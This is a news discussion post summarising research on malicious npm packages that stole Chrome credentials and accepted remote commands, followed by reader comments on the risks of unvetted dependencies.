Researchers Found a Malicious NPM Package Using Chrome's Password-Recovery Tools

Threatpost reports on "another vast software supply-chain attack" that was "found lurking in the npm open-source code repository...a credentials-stealing code bomb" that used the password-recovery tools in Google's Chrome web browser. Researchers caught the malware filching credentials from Chrome on Windows systems. The password-stealer is multifunctional: It also listens for incoming commands from the attacker's command-and-control (C2) server and can upload files, record from a victim's screen and camera, and execute shell commands...

ReversingLabs researchers, who published their findings in a Wednesday post, said that during an analysis of the code repository, they found an interesting embedded Windows executable file: a credential-stealing threat. Labeled "Win32.Infostealer.Heuristics", it showed up in two packages: nodejs_net_server and temptesttempfile. At least for now, the first, main threat is nodejs_net_server. Some details:

nodejs_net_server: A package with 12 published versions and a total of more than 1,300 downloads since it was first published in February 2019...finally upgrading it last December with a script to download the password-stealer, which the developer hosts on a personal website. It was subsequently tweaked to run TeamViewer.exe instead, "probably because the author didn't want to have such an obvious connection between the malware and their website," researchers theorized...

ReversingLabs contacted the npm security team on July 2 to give them a heads-up about the nodejs_net_server and tempdownloadtempfile packages and circled back once again last week, on Thursday, since the team still hadn't removed the packages from the repository. When Threatpost reached out to npm Inc., which maintains the repository, a GitHub spokesperson sent this statement: "Both packages were removed following our investigation...."

Safe haven.

[Ostracus]

Sowing the seeds of fear about repositories it would seem.

Re:

[Dutch Gun]

You're implying some underlying motivation here? Who is sowing seeds of fear? And why? The open source / closed source cold war is over. Even Microsoft has embraced open source these days.

Sometimes a malware report is just a malware report. And it's good for people to be aware that using unvetted NPM packages (or any source repository, in fact) can be risky, just like with unvetted libraries / apps. The obvious advantage with open source is that you can't as easily hide your intent - just your locatio

Re:

[gweihir]

You're implying some underlying motivation here? Who is sowing seeds of fear? And why? The open source / closed source cold war is over. Even Microsoft has embraced open source these days.

Sometimes a malware report is just a malware report. And it's good for people to be aware that using unvetted NPM packages (or any source repository, in fact) can be risky, just like with unvetted libraries / apps. The obvious advantage with open source is that you can't as easily hide your intent - just your location.

Indeed. Using arbitrary code from some repositories in production code is _incompetent_. It is the "slap something together" mind-set on steroids. Makes things very cheap in the short run and potentially very expensive in the long run. Not that this type of utter stupidity is only found in software.

Who knew?

[Dan East]

Researchers Found a Malicious NPM Package Using Chrome's Password-Recovery Tools

Who knew that Chrome's Password-Recovery Tools could be used to discover maicious NPM packages? How cool!

Be careful with external code

[bubblyceiling]

Including external libraries always comes with a risk, if they are not vetted correctly before hand. NPM is no different

Re:

[Gibgezr]

Doesn't even matter if they are vetted beforehand, if they are included at runtime as Javascript etc.
They get updated at a later date with malware and BAM you are screwed. Which looks like what happened here.

Re: Be careful with external code

[hey00]

You assume that developers, especially js devs, know go to vet external libraries, and know what the package_lock file is for.

In my years as a professional developer, not a single one of my colleagues knew what it was for and that it should be committed.

Also, even with the best due diligence, it is impossible in practice to correctly vet npm dependencies. The average npm package has so many dependencies of its own that you can't check everything.

And considering how even big packages from "reliable" sources

Color me perplexed.

[mark-t]

Since when is finding a malicious NPM package involved enough to require researchers?

Dependencies are a danger

[Casandro]

Therefore automatic dependency resolving is a very problematic thing. Adding a new dependency has to be something that hurts a little, otherwise there is no motivation to stop and think before you add one. This combined with self-service updating up said dependencies only increases the scale of the problem.

There are also secondary effects. Dependencies allow you to "outsource" complexity which makes people believe that that complexity is somehow "gone". For example this may cause people to use over complex

wait a minute

[snowshovelboy]

Why does a web browser have password recovery tools in the first place? Sounds like one more reason to get out of the google ecosystem if you ask me.